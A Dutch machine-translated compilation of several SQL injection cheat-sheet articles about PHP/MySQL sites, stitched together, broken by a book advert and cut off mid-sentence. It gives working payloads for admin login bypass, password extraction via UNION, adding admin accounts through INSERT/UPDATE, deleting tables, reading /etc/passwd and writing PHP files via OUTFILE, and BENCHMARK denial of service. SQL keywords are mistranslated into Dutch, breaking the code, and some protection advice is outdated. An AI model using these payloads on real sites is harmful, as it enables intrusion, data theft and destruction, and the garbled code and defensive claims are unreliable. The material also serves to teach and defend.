Implementatie van sql-injecties. Cheatsheet voor SQL-injectie

SQL injectie- dit is een van de meest betaalbare manieren om een ​​site te hacken.
De essentie van dergelijke injecties is de introductie van willekeurige SQL-code in gegevens (verzonden via GET-, POST-verzoeken of cookiewaarden). Als de site kwetsbaar is en dergelijke injecties uitvoert, dan is het in feite mogelijk om alles met de database te doen (meestal is dit MySQL).

Hoe een kwetsbaarheid vinden die SQL-injectie mogelijk maakt?

Vrij eenvoudig. Zo is er een testsite test.ru. De site geeft een lijst met nieuws weer, met de mogelijkheid om gedetailleerd te bekijken. Het adres van de pagina met een gedetailleerde beschrijving van het nieuws ziet er als volgt uit: test.ru/?detail=1 . Dat wil zeggen, via een GET-verzoek geeft de detailvariabele de waarde 1 door (de record-ID in de nieuwstabel).

Wijzig het GET-verzoek in ?detail=1" of ?detail=1" . Vervolgens proberen we deze verzoeken naar de server te sturen, d.w.z. we gaan naar test.ru/?detail=1 "of naar test.ru/?detail=1".

Als er een fout optreedt bij het openen van deze pagina's, is de site kwetsbaar voor SQL-injectie.

Een voorbeeld van een fout die optreedt bij het controleren van een kwetsbaarheid

Mogelijke SQL-injecties (SQL-injecties)
1) De eenvoudigste zijn het vouwen van de WHERE-voorwaarde tot een waar resultaat voor alle parameterwaarden.
2) De resultaten van een andere zoekopdracht aan een zoekopdracht koppelen. Dit gaat via de UNION-operator.
3) Een deel van het verzoek becommentariëren.

Oefening. Opties voor het hacken van een site met een kwetsbaarheid in SQL-injectie

We hebben dus de reeds genoemde site test.ru. De database slaat 4 nieuwsberichten op, waarvan er 3 worden weergegeven. Toestemming om nieuws te publiceren is afhankelijk van de parameter public (als de parameter de waarde 1 bevat, wordt het nieuws gepubliceerd).

Lijst met nieuws dat mag worden gepubliceerd

Bij het openen van de pagina test.ru/?detail=4 , die het vierde nieuwsbericht zou moeten weergeven, verschijnt er een foutmelding - het nieuwsbericht is niet gevonden.
In ons geval bestaat het nieuws wel, maar mag het niet gepubliceerd worden.

Maar aangezien we de site al hebben gecontroleerd op kwetsbaarheden en er een databasefout is opgetreden, proberen we mogelijke zoekopties te doorzoeken.
In de adresbalk fungeert het plusteken (+) als spatie, dus wees niet geïntimideerd

Ik ben de volgende opties aan het testen:
test.ru/?detail=4+OF+1
test.ru/?detail=4+--
test.ru/?detail=4+UNION+SELECT+ *+FROM+news+WHERE+id=4

Het resultaat was dat het geluk glimlachte en twee verzoeken (de eerste en de derde) gaven ons een gedetailleerde beschrijving van het vierde nieuws

Het voorbeeld van binnenuit ontleden

Het codeblok is verantwoordelijk voor het verkrijgen van een gedetailleerde beschrijving van het nieuws:
$detail_id=$_GET["detail"];
$zapros="SELECTEER * UIT `$table_news` WHERE `public`="1" EN `id`=$detail_id ORDER BY `position` DESC";

Niet alleen krijgt $detail_id een waarde zonder enige verwerking, maar ook de `id`=$detail_id constructie is scheef geschreven, het is beter om vast te houden aan `id`="$detail_id" (d.w.z. schrijf de vergeleken waarde in rechte weglatingstekens) .

Kijkend naar het ontvangen verzoek bij het openen van de pagina via test.ru/?detail=4+OR+1

SELECTEER * UIT `nieuws` WAAR `public`="1" EN `id`=4 OF 1 BESTEL PER `positie` DESC

Het wordt niet helemaal duidelijk waarom het 4e nieuws werd vertoond. Het punt is dat de query alle records uit de nieuwstabel heeft geretourneerd, gesorteerd in aflopende volgorde vanaf de top. En zo bleek ons ​​4e nieuws het allereerste te zijn, en het werd ook weergegeven als een gedetailleerd bericht. Oftewel toeval.

Laten we het verzoek analyseren dat wordt gegenereerd bij toegang via test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Hier is de naam van de tabel met nieuws (in ons geval is het nieuws) genomen door logische opsomming.
Dus de query is SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . Het nulresultaat van het eerste deel van de zoekopdracht (vóór UNION) werd vergezeld door het resultaat van het tweede deel (na UNION), dat een gedetailleerde beschrijving van het 4e nieuwsitem terugstuurde.

Bescherming tegen SQL-injecties (SQL-injecties)

Bescherming tegen hacking komt neer op de basisregel "vertrouwen maar verifiëren". U moet alles controleren - getallen, strings, datums, gegevens in speciale formaten.
Nummers
Om een ​​variabele te testen op een numerieke waarde, wordt de functie is_numeric(n); gebruikt, die true retourneert als de parameter n een getal is, en anders false.
U kunt de waarde van een getal ook niet controleren, maar het type handmatig overschrijven. Hier is een voorbeeld dat de $id-waarde die is ontvangen van $_GET["id_news"] herdefinieert naar een geheel getal (integer):
$id=(int)$_GET["id_nieuws"];
Snaren
De meeste SQL-hacks vinden plaats omdat tekenreeksen "onveilige" aanhalingstekens, apostrofs en andere speciale tekens bevatten. Om dit te doen, moet u de functie addslashes($str); gebruiken, die de tekenreeks $str retourneert met een backslash (\) toegevoegd voor elk speciaal teken. Dit proces wordt screening genoemd.

$a="tekstvoorbeeld met apostrof " ";
echo addlashes($a); // wordt weergegeven: voorbeeldtekst met een apostrof \"

Daarnaast zijn er twee functies die speciaal zijn gemaakt voor het ontsnappen van tekenreeksen die worden gebruikt in SQL-instructies.
Dit is mysql_escape_string($str); en mysql_real_escape_string($str);.

De eerste houdt geen rekening met de codering van de verbinding met de database en kan worden omzeild, maar de tweede houdt er rekening mee en is absoluut veilig. mysql_real_escape_string($str); geeft de tekenreeks $str terug met een backslash toegevoegd aan de volgende tekens: \x00, \n, \r, \, ", " en \x1a .

Magische citaten

Magische aanhalingstekens - het effect van het automatisch vervangen van een aanhalingsteken door een backslash (\) en een aanhalingsteken tijdens I/O-bewerkingen. Sommige PHP-configuraties hebben deze optie ingeschakeld, andere niet. Om dubbele escape-tekens en escape-gegevens normaal via mysql_real_escape_string($str); te voorkomen, moet u automatische backslashes verwijderen (als magische aanhalingstekens zijn ingeschakeld).

Controleren of magische aanhalingstekens zijn opgenomen voor gegevens ontvangen van GET, POST of cookies wordt georganiseerd via de get_magic_quotes_gpc() functie; (retourneert 1 als magische aanhalingstekens zijn ingeschakeld, 0 als ze zijn uitgeschakeld).

Als magische aanhalingstekens zijn opgenomen (d.w.z. backslashes zijn toegevoegd) en dit gebeurt vaker, dan moeten ze worden verwijderd. Dit wordt gedaan via de functie stripslashes($str); (geeft als resultaat de tekenreeks $str zonder backslashes tussen aanhalingstekens en rechte apostrofs).

Tot slot geef ik de code met volledige screening van strings voor schrijven naar de database

Als(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
anders
{
$element_title=trimmen($_POST["element_title"]);
$element_text=bijsnijden($_POST["element_text"]);
$element_date=trimmen($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Het artikel is opgesteld op basis van praktische vaardigheden in het beschermen van websystemen. Theorie is goed, maar praktijk is belangrijker en het belangrijkste is dat het werkt.

Vertaling: Nikolai N.


Onzorgvuldigheid en onoplettendheid zijn twee redenen om code te schrijven die kwetsbaar is voor SQL-injectie. De derde reden - onwetendheid - zou de programmeur moeten aanmoedigen om zijn kennis te verdiepen of zelfs van beroep te veranderen.

SQL injectie ( SQL injectie) - kwetsbaarheid wat ontstaat
met onvoldoende verificatie en verwerking van gegevens
, die worden doorgegeven door de gebruiker, en waarmee u SQL-query's kunt wijzigen en uitvoeren die niet worden verwacht door de programmacode.

SQL-injectie is een wijdverbreide beveiligingsfout op het internet die gemakkelijk kan worden misbruikt zonder speciale software en waarvoor geen diepgaande technische kennis vereist is.

Het misbruiken van deze kwetsbaarheid opent de deur naar meer mogelijkheden, zoals diefstal, spoofing of vernietiging van gegevens, denial of service, enzovoort.

In dit artikel zal ik proberen de belangrijkste risico's uit te leggen die zich voordoen bij de interactie tussen PHP en een MySQL-database.

Voor de duidelijkheid zal ik een voorbeeld geven van een eenvoudige databasestructuur, die typerend is voor de meeste projecten:

CREËER DATABASE `nieuws`;
GEBRUIK `nieuws`;
#
# nieuwstabel
#
MAAK TABEL `nieuws` (
`id` int(11) NOT NULL auto_increment,
`titel` varchar(50) standaard NULL,
`datum` datum/tijd standaard NULL,
`tekst` tekst,
PRIMAIRE SLEUTEL (`id`)
) TYPE=MijnISAM;
#
# voeg wat gegevens toe
#
INVOEGEN IN `nieuws` (`id`,`titel`,`datum`,`tekst`) WAARDEN (1,"eerste nieuws","2005-06-25
16:50:20","nieuws tekst");
INVOEGEN IN `nieuws` (`id`,`titel`,`datum`,`tekst`) WAARDEN (2,"tweede nieuws","2005-06-24
12:12:33","testnieuws");
#
# gebruikerstabel
#
MAAK TABEL `gebruikers` (
`id` int(11) NOT NULL auto_increment,
`login` varchar(50) standaard NULL,
`wachtwoord` varchar(50) standaard NULL,
`admin` int(1) NULL STANDAARD "0",
PRIMAIRE SLEUTEL (`id`)
) TYPE=MijnISAM;
#
# voeg enkele gebruikers toe, een met beheerdersrechten, een andere eenvoudig
#
INVOEGEN IN `gebruikers` (`id`,`login`,`password`,`admin`) WAARDEN (1,"admin","qwerty",1);
INVOEGEN IN `gebruikers` (`id`,`login`,`password`,`admin`) WAARDEN (2,"user","1111",0);

En nu een voorbeeld van PHP-code:

We zien dat het verzoek wordt gevormd afhankelijk van de waarde van $_GET["id"]. Om te controleren op een kwetsbaarheid volstaat het om deze te wijzigen in een waarde die een fout kan veroorzaken bij het uitvoeren van een SQL-query.

Natuurlijk kan er geen fout worden uitgevoerd, maar dit betekent niet dat er geen fout is.

als resultaat " U heeft een fout in uw SQL-syntaxis; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis om te gebruiken in de buurt van """ op regel 1 "

resultaat "Onbekende kolom "1qwerty" in "where-component" "

in aanwezigheid van een kwetsbaarheid zou een resultaat moeten opleveren dat vergelijkbaar is met

Vergelijkbare kwetsbaarheden toestaan ​​om het verzoek te wijzigen in de WHERE-component.

Het eerste dat een aanvaller zal doen bij het ontdekken van een dergelijke kwetsbaarheid, is onderzoeken hoeveel velden er in het verzoek worden gebruikt. Om dit te doen, wordt een opzettelijk onjuiste id ingesteld om de uitvoer van echte informatie uit te sluiten en wordt deze gecombineerd met een verzoek met hetzelfde aantal lege velden.

het aantal "null" moet overeenkomen met het aantal velden dat in de query wordt gebruikt.

Als de query een fout genereert, wordt er nog een lege waarde toegevoegd totdat de fout verdwijnt en een resultaat met lege gegevens wordt geretourneerd. Vervolgens worden de gecombineerde velden vervangen door waarden die visueel op de pagina kunnen worden waargenomen.

nu op de pagina waar de titel van het nieuws had moeten verschijnen, zal qwerty pronken.

login van de huidige databasegebruiker
http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

de naam van de te gebruiken database
http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE (),null,null

Gegevens ophalen uit andere tabellen:
SELECTEER * UIT `nieuws` WAAR `id`=-1 UNION SELECTEER null,`password`,null,null uit `gebruikers`waar `id`=1
Op zo'n eenvoudige manier ontdekken ze het wachtwoord of de hash van het beheerderswachtwoord.

Als de huidige gebruiker toegangsrechten heeft tot de "mysql"-database, krijgt de aanvaller zonder problemen de admin-wachtwoord-hash.

Nu is zijn selectie slechts een kwestie van tijd.

Zoeken

Zoeken is een van de meest kwetsbare plaatsen, aangezien een groot aantal queryparameters tegelijkertijd wordt doorgegeven. Een voorbeeld van een eenvoudige zoekopdracht die zoekt naar een trefwoord:
SELECTEER * UIT `nieuws` WAAR `titel` LIKE "%$search%" OF `text` LIKE "%$search%"
$search is een woord dat vanuit het formulier wordt ingevoerd.

Een aanvaller kan $search = "# in de variabele doorgeven, de query ziet er nu als volgt uit:
SELECTEER * UIT `nieuws` WAAR `titel` ALS "%"#%" OF `tekst` ALS "%"#%"
Dienovereenkomstig worden in plaats van de zoekresultaten voor het trefwoord alle gegevens weergegeven. Hiermee kunt u ook de hierboven beschreven query-aggregatiefunctie gebruiken.

De ORDER-parameter gebruiken

U kunt vaak zien dat bij het invoeren van zoekparameters of het weergeven van informatie, de gebruiker hiermee gegevens op bepaalde velden kan sorteren. Ik zal meteen zeggen dat het misbruiken van deze kwetsbaarheid niet al te gevaarlijk is, aangezien het een fout zal veroorzaken bij het combineren van verzoeken, maar in combinatie met kwetsbaarheden in andere velden bestaat het gevaar dat deze parameter wordt genegeerd.

de parameter ORDER wordt gevormd afhankelijk van de variabele $sort

$zoeken =" /*
$sorteren = */

Het volgende verzoek wordt gegenereerd:
SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OF `text` LIKE "%"/*%" ORDER BY */ hiermee wordt een van de voorwaarden en de ORDER-parameter becommentarieerd
U kunt nu opnieuw deelnemen aan de query door $sort=*/ UNION SELECT toe te wijzen....

Als een optie om de kwetsbaarheid van deze parameter te misbruiken:
SELECTEER * UIT `gebruikers` BESTEL OP LENGTE (wachtwoord); Hiermee kunt u gebruikers sorteren op basis van de lengte van het wachtwoord, op voorwaarde dat het in een "schone" vorm is opgeslagen.

Autorisatie

Laten we nu eens kijken naar de varianten van SQL-injecties die plaatsvinden tijdens gebruikersautorisatie. Een verzoek om de geldigheid van de autorisatiegegevens te controleren ziet er in de regel als volgt uit:
SELECTEER * UIT `gebruikers` WHERE `login`="$login" EN `password`="$password";
waarbij $login en $password variabelen zijn die vanuit het formulier worden doorgegeven.

Zo'n query retourneert gegevens over de gebruiker in geval van succes en in geval van mislukking een leeg resultaat.

Dienovereenkomstig is het voor een aanvaller voldoende om het verzoek zodanig aan te passen dat het een niet-nul resultaat retourneert om de autorisatie door te geven. De login is ingesteld, die overeenkomt met de echte gebruiker, en in plaats van het wachtwoord, " OF "1"="1
Of een echte toestand
(1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 TUSSEN 1 EN 3)

Dienovereenkomstig zal het verzoek als volgt worden gevormd:
SELECTEER * UIT `gebruikers` WAAR `login`="admin" EN `wachtwoord`="" OF "1"="1"; die het resultaat zal retourneren en als gevolg daarvan zal leiden tot ongeautoriseerde autorisatie. Wat als de wachtwoorden in de database gehasht zijn? Vervolgens wordt de wachtwoordcontrole simpelweg "uitgeschakeld" door alles na `login` uit te commentariëren. In het formulier wordt in plaats van de login de login van de echte gebruiker toegewezen en "# aldus de wachtwoordcontrole becommentarieerd.

SELECTEER * UIT `gebruikers` WAAR `login`="admin"#" EN `wachtwoord`="12345"

alternatief "OF `id`=2#

SELECTEER * UIT `gebruikers` WAAR `login`="" OF `id`=2#" EN `wachtwoord`="12345"
U kunt dus autorisatie doorgeven zonder de echte login te kennen. Geval met
SELECTEER * UIT `gebruikers` WAAR `login`="" OF `admin`=1#" EN `wachtwoord`="12345" u in staat stelt om in te loggen met beheerdersrechten.

Een grote fout is om het wachtwoord als volgt te controleren:
SELECTEER * UIT `gebruikers` WAAR `login`="$login" EN `wachtwoord` LIKE
"$wachtwoord" omdat in dit geval het wachtwoord % geschikt is voor elke login

INVOEGEN & BIJWERKEN

SELECT's zijn echter niet de enige SQL-kwetsbaarheid. INSERT en UPDATE kunnen niet minder kwetsbaar zijn.

Laten we zeggen dat de site de mogelijkheid heeft om gebruikers te registreren. Query die een nieuwe gebruiker toevoegt:
INSERT IN `gebruikers` (`login`, `wachtwoord`,`admin`) WAARDEN ("gebruiker",
"wachtwoord",0); Door de kwetsbaarheid van een van de velden kunt u de aanvraag aanpassen met de benodigde gegevens.

Voeg in het inlogveld toe gebruiker", "wachtwoord", 1)# waardoor een gebruiker met beheerdersrechten wordt toegevoegd.
INVOEGEN IN `gebruikers` (`login`, `wachtwoord`,`admin`) WAARDEN ("gebruiker", "wachtwoord", 1)# ,"wachtwoord",0); Laten we zeggen dat het `admin`-veld voor het `login`-veld staat, dus de truc om de gegevens te vervangen die na het `login`-veld komen, werkt niet. We herinneren eraan dat u met de syntaxis van het INSERT-commando niet slechts één regel kunt toevoegen, maar meerdere.

Een voorbeeld van een kwetsbaarheid in het inlogveld:
$login= gebruiker", "wachtwoord"),(1,"hacker", "wachtwoord")#
INVOEGEN IN `gebruikers` (`admin`,`login`, `wachtwoord`) WAARDEN (0,"gebruiker",
"wachtwoord"),(1,"hacker", "wachtwoord")#","wachtwoord");

Er worden dus 2 vermeldingen gemaakt, een met de rechten van een eenvoudige gebruiker, de andere met de gewenste beheerdersrechten.

Soortgelijke situatie met UPDATE

Extra velden toevoegen om te wijzigen:
$login=", `wachtwoord`="", `admin`="1
Dan een soortgelijke vraag
UPDATE `gebruikers` SET `login`="waterkoker" WHERE `id`=2;
Als volgt gewijzigd:
UPDATE `gebruikers` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;
Wat zal er gebeuren? Gebruiker met ID 2 verandert login en wachtwoord in lege waarden en krijgt beheerdersrechten.

Of voor het geval dat

$login= ", `wachtwoord`="" WAAR `id` =1#

De gebruikersnaam en het wachtwoord van de beheerder zijn leeg.

VERWIJDEREN

alles is hier eenvoudig, er kunnen geen gegevens worden verkregen of gewijzigd, maar u bent altijd welkom om het teveel te verwijderen.
$id=1 OF 1=1
En verzoek
VERWIJDEREN UIT `nieuws` WAAR `id`=1 OF 1=1; wist alle records in de tabel.

In plaats van 1=1 kan er elke ware voorwaarde zijn, zoals hierboven vermeld. Kan de LIMIT-parameter opslaan, waardoor het aantal verwijderde regels wordt beperkt, maar niet altijd, het kan eenvoudig worden weggecommentarieerd.

VERWIJDEREN UIT `nieuws` WAAR `id`=1 OF 1=1# LIMIT 1;

Werken met bestanden via SQL-injectie.

Ik betwijfel ten zeerste dat dit ergens kan gebeuren, maar eerlijk gezegd is het noodzakelijk om dergelijke methoden te beschrijven. Als bestandsprivileges zijn ingeschakeld, kunnen de opdrachten LOAD_FILE en OUTFILE worden gebruikt.

Hun gevaar kan worden beoordeeld aan de hand van de volgende vragen:
SELECTEER * UIT `nieuws` WAAR `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null;
SELECTEER * UIT `nieuws` WAAR `id`=-1 unie selecteren
null,LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Maar dit is niet het einde van alle problemen.
SELECTEER * UIT `news` WAAR `id`=-1 union select null,"",null,null VAN `news` naar outfile
"/home/test/www/test.php";
Dit is hoe we een bestand schrijven dat php-code bevat. Toegegeven, naast de code zullen er nog een aantal null-items in zitten, maar dit heeft op geen enkele manier invloed op de prestaties van de php-code.

Er zijn echter verschillende voorwaarden waardoor deze methoden werken:

Het FILE-privilege ingeschakeld voor de huidige databasegebruiker;

De rechten om deze bestanden te lezen of te schrijven voor de gebruiker waaronder de MySQL-server draait

absoluut pad naar het bestand;
een minder belangrijke voorwaarde - de bestandsgrootte moet kleiner zijn dan max_allowed_packet, maar aangezien in MySQL 3.23 de grootte van het grootste pakket
kan 16 MB zijn, en in 4.0.1 en hoger wordt de pakketgrootte alleen beperkt door de hoeveelheid beschikbaar geheugen, tot een theoretisch maximum van 2 GB is deze voorwaarde meestal altijd beschikbaar.

magische citaten

Magische aanhalingstekens maken het onmogelijk om SQL-injectie in tekenreeksvariabelen te gebruiken, omdat het automatisch alles " dat " ontsnapt dat wordt geleverd met $_GET en $_POST.

Maar dit is niet van toepassing op het gebruik van kwetsbaarheden in integer- of fractionele parameters, hoewel met het amendement dat het niet mogelijk zal zijn om "te gebruiken. In dit geval helpt de char-functie.
SELECTEER * UIT `nieuws` WAAR `id`=-1 UNION SELECT
null,char(116,101,115,116),null,null;

DOS via SQL-injectie.

Ik was het bijna vergeten te zeggen, en SQL-experts zullen bevestigen dat de UNION-bewerking alleen mogelijk is in MySQL >=4.0.0. Mensen die projecten hebben op eerdere versies slaakten een zucht van verlichting :) Maar niet alles is zo veilig als het op het eerste gezicht lijkt. De logica van de aanvaller is soms moeilijk te volgen. "Het zal niet mogelijk zijn om te hacken, tenminste
Ik vul aan', denkt de hacker, terwijl hij de BENCHMARK-functie typt voor een voorbeeldquery
SELECTEER * UIT `nieuws` WAAR `id`=BENCHMARK(1000000,MD5(NU()));
werd voor mij uitgevoerd van 12 tot 15 seconden. Een nul toevoegen - 174 seconden. Voor meer heb ik gewoon mijn hand niet opgestoken.

Op krachtige servers zullen dergelijke dingen natuurlijk veel sneller worden gedaan, maar ... BENCHMARK stelt je in staat jezelf één voor één te nesten.

Soortgelijk:
SELECTEER * UIT `nieuws` WAAR `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NU())));
Of zelfs zo
SELECTEER * UIT `nieuws` WAAR
`id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NU()))));
En het aantal nullen wordt alleen beperkt door de "vriendelijkheid" van degene die ze kiest.

Ik denk dat zelfs een ZEER krachtige machine dergelijke verzoeken niet gemakkelijk zal kunnen slikken.

Resultaat

Dat is alles. In dit artikel heb ik geprobeerd zoveel mogelijk de kwetsbaarheden te behandelen die programmeurs toestaan ​​bij het maken van programma's met behulp van MySQL-databases. Ik ben er echter meer dan zeker van dat het ver is
geen volledige lijst.
Daarom is het belangrijk om een ​​paar regels te onthouden:

Vertrouw GEEN ENKELE gegevens die afkomstig zijn van de gebruiker.

Het gaat hierbij niet alleen om de gegevens die worden verzonden door de $_GET- en $_POST-arrays. Vergeet $_COOKIE en andere delen van HTTP-headers niet. Houd er rekening mee dat ze gemakkelijk te vervangen zijn.

Vertrouw niet op de optie "magische aanhalingstekens" van PHP

Dat is waarschijnlijk meer een belemmering dan een hulp. Alle gegevens die aan de database worden doorgegeven, moeten worden getypecast met velden
Databank. ($id=(int)$_GET["id"]) of beschermd door de functies mysql_escape_string of mysql_real_escape_string.

mysql_real_escape_string ontsnapt niet aan % en _, dus het mag niet worden gebruikt in combinatie met LIKE.

Vertrouw ook niet te veel op een goed geschreven mod_rewrite. Dit zijn alleen manieren om "handige" URL's te maken, maar zeker geen manier om u te beschermen tegen SQL-injecties.

Schakel foutrapportage uit.

Help slechte bezoekers niet. Zelfs als er een fout wordt ontdekt, zal het gebrek aan informatie erover de toepassing ervan ernstig belemmeren. Onthoud het verschil tussen de ontwikkelingsfase en de werkversie. Fout uitvoer en andere gedetailleerde informatie - uw bondgenoot in de ontwikkelingsfase, en bondgenoot van de aanvaller in werkende versie. Je moet ze ook niet verbergen door commentaar te geven in de HTML-code, voor elke 1000 bezoekers zal er 1 zijn die zulke dingen zal vinden.

Behandel fouten.

Schrijf de verwerking van SQL-query's zo dat informatie erover wordt opgeslagen in sommige logboeken of per e-mail wordt verzonden.

Sla geen toegangsgegevens voor de database op in bestanden die niet als code zijn geparseerd door PHP.

Ik denk dat ik voor niemand Amerika heb ontdekt, maar uit eigen ervaring kan ik zeggen dat deze praktijk heel gewoon is. In de regel is dit een bestand met de extensie *.inc

Maak geen database "superuser".

Verleen alleen de rechten die u nodig hebt om specifieke taken uit te voeren.

Bij het zoeken is het de moeite waard om het minimale en maximale aantal tekens dat queryparameters zijn te beperken.

Voor een eerlijke gebruiker zijn 3 tot 60-70 tekens voldoende om aan hun zoekinteresses te voldoen, en tegelijkertijd waarschuwt u situaties waarin het volume van "Oorlog en vrede" een zoekopdracht wordt.

Controleer altijd het aantal records dat na een query wordt geretourneerd

Bijna 90% van de sites geschreven in php zo'n logische fout treedt op, vooral wanneer een verzoek wordt gedaan op basis van de ontvangen ID van de gebruiker, als je het script handmatig een niet-bestaande ID geeft - we zullen behoorlijk interessante resultaten zien van sommige scripts, in plaats van 404 terug te sturen, het programma doet in het beste geval niets en wordt weergegeven op een schone pagina van de browser.

Veilige SQL voor jou ;)

Alles wat in het artikel wordt beschreven, is uitgevoerd als een experiment op een testdatabase die eigendom is van de auteur van het artikel. Er zijn geen gegevens van andere mensen vernietigd of gewijzigd.

De auteur van het artikel draagt ​​geen enkele verantwoordelijkheid voor het gebruik van de methoden die in dit artikel worden beschreven, aangezien werd aangenomen dat het is geschreven om te informeren over de kwetsbaarheden van programma's die zijn geschreven met behulp van MySql-databases.

We hebben een nieuw boek uitgebracht, "Social Media Content Marketing: Hoe kom je in de hoofden van abonnees en laat ze verliefd worden op je merk."

Weet je zeker dat je site veilig is? 45% van de webbronnen van de grootste Russische bedrijven heeft kritieke . Na het lezen van dit artikel ben je in staat om een ​​basiscontrole van je website uit te voeren op SQL-injecties.

Laten we eerst begrijpen wat beveiliging is. Beveiliging is de staat van beveiliging van een geautomatiseerd systeem, op voorwaarde dat het risico de aanvaardbare waarden niet overschrijdt. Risico is op zijn beurt het product van schade en waarschijnlijkheid. Wat is schade? Schade - een kwantitatieve beoordeling van de schade aan het systeem. Waarschijnlijkheid is, denk ik, bij iedereen bekend.

Ik presenteer u een kort wiskundig overzicht: op basis van deze basisconcepten worden wiskundige risico's berekend (klassen van staatsgeheimen worden precies volgens deze principes verdeeld).

Hoe verhoudt dit zich tot het beschermen van uw site, denkt u? En hier is hoe: jij en ik weten heel goed dat er geen absoluut nul waarschijnlijkheid is (d.w.z., hoewel met een kleine waarschijnlijkheid, kan er op dit moment een geest uit de monitor komen en je 3 wensen vervullen).

Waarom zeg ik dit? Bovendien is er op dezelfde manier geen systeem dat niet kan worden gehackt, de enige vraag zijn middelen. En als u de zaak professioneel benadert, moet u de mogelijke schade door ongeautoriseerde toegang beoordelen en maatregelen nemen die overeenkomen met uw schade.

Ja, we kunnen TrueCrypt installeren, onze gegevens en wachtwoorden versleutelen. Stel dubbele authenticatie in en bewaar de harde schijf met dit alles in een bunker beschermd tegen een directe nucleaire aanval, maar als we daar alleen een wachtwoord van "Contact" hebben, dan is de mogelijke schade onvergelijkbaar met onze beschermingsmiddelen (tenzij, van natuurlijk bewaart u in "VKontakte" toegangen van uw miljoenen bankrekeningen).

Nu wil ik u informatie geven over de belangrijkste kwetsbaarheden van websites.

Basismethoden en hacksites (kwetsbaarheden)

  1. SQL injectie;
  2. CSRF;
  3. PHP-injectie.

Aanvallen zijn ook vermeldenswaard: ze kunnen niet worden gebruikt om ongeautoriseerde toegang te krijgen, maar ze kunnen gemakkelijk onherstelbare schade aanrichten.

In dit artikel gaan we dieper in op de eerste kwetsbaarheid.

SQL injectie

Nu moeten we uitzoeken wat een site is, hoe deze in het algemeen werkt. Een website is een programma, in 90% van de gevallen geschreven in de programmeertaal PHP.

Om het voor webmasters gemakkelijker te maken om de site te beheren, begonnen ze aan het begin van de jaren 2000 databases te gebruiken (hierna de database genoemd), waar alle informatie over geregistreerde gebruikers en hun wachtwoorden wordt opgeslagen, natuurlijk niet in open vorm, maar daarover hieronder meer. Trouwens, zelfs wat u momenteel aan het lezen bent, wordt in de database opgeslagen.

Wat is SQL-injectie?

Alles is heel eenvoudig. SQL is de taal van communicatie met de database en het woord Injection wordt vertaald als "introductie". Met andere woorden, met behulp van SQL-injectie kunt u willekeurige SQL-code injecteren die de server zal verwerken en een antwoord zal geven.

Hoe het allemaal werkt: voorbeelden

De database bestaat uit tabellen, elke tabel heeft rijen en kolommen, alles is zoals in Excel.

Overweeg voor de duidelijkheid de geschatte structuur van de database op de vertrouwde site VK.com

Elke gebruiker van VKontakte heeft natuurlijk een aantal persoonlijke parameters: voornaam, achternaam, e-mail, registratiedatum, enzovoort. Als gevolg hiervan is elke kolom verantwoordelijk voor zijn eigen parameter.

identiteitsbewijs | Voornaam| achternaam | wachtwoord | e-mailen ....

1 | Paulus | Doerov | | ....

2 | Vova | Pup | | ....

Hoogstwaarschijnlijk zult u besluiten dat Pasha Durov en Vova Pupkin een zeer complex wachtwoord hebben (maar liefst 32 tekens!), Maar in feite vergist u zich. Wat is daar? Dit is de zogenaamde hashwaarde, het resultaat van de hashfunctie. Eenvoudig gezegd een gecodeerd wachtwoord (hoewel dit niet helemaal waar is). Waar is het voor? Om te voorkomen dat een hacker gemakkelijk de wachtwoorden van gebruikers te pakken krijgt. Maar daar zijn ook methodes voor. Als het wachtwoord versleuteld is, is dit geen garantie voor veiligheid.

Laten we ons voorstellen dat jij (het programma) naar de winkel (DB) ging en de verkoper (SQL-query) vroeg: "Geef me alsjeblieft een pakje Marlboro voor 100 roebel";

Dit is hoe het eruit zou zien in SQL:

SELECTEER productnaam VAN supermarkt WAAR (type="marlboro" EN prijs="100") LIMIET 1

De SQL-server geeft je het antwoord op je vraag en je kunt ermee doen wat je wilt. U kunt deze informatie op de een of andere manier wijzigen, berekenen of gewoon weergeven op het browserscherm.

Nu terug naar SQL-injectie, zoals we al weten, is dit de injectie van willekeurige code in een SQL-query. Dat wil zeggen, er bestaat een kwetsbaarheid wanneer een aanvaller zijn eigen uitvoerbare code kan injecteren.

Laten we doorgaan. Dus je las Allen Carr en stopte met roken. Nu ga je naar de winkel voor extreem bruikbare goederen :) Deze keer ga je ... nou, laten we zeggen, voor melk.

Om niet te vergeten, schreef je op een stuk papier: "Een pak melk voor 50 roebel", maar je hebt een vriend (hacker) die rookt. Hij voerde een SQL-aanval uit en nu luidt de inscriptie: "Eén pak melk voor 50 roebel. $OF één pakje Marlboro voor 100 roebel$"

Je komt naar de winkel en leest van een stuk papier: "Geef me alsjeblieft een pak melk voor 50 roebel of een pakje Marlboro voor 100"

SELECTEER productnaam VAN supermarkt WHERE (type="milk" AND price="50") OF (type="marlboro" AND price="100") LIMIET 1

De verkoper vond dat hij geen reden had om met melk naar de koelkast te gaan als de sigaretten in de buurt waren, en gaf ze weg. Nu verlaat u de winkel en uw vriend wacht gewoon op u om hem sigaretten te brengen.

Hier is een voorbeeld van SQL-aanvallen. Op websites ziet het er natuurlijk anders uit. De site vraagt ​​één informatie uit de database en met behulp van SQL-injectie kunt u bijvoorbeeld logins en wachtwoorden krijgen.

Hoe gebeurt een hack?

Om goed te begrijpen wat er precies moet gebeuren, zet het programma de SQL-query tussen aanhalingstekens. Ik zal je een echt voorbeeld geven. Laten we zeggen dat we willen weten hoe oud onze vriend is door zijn naam te weten en deze naar de variabele $_GET['name'] te sturen
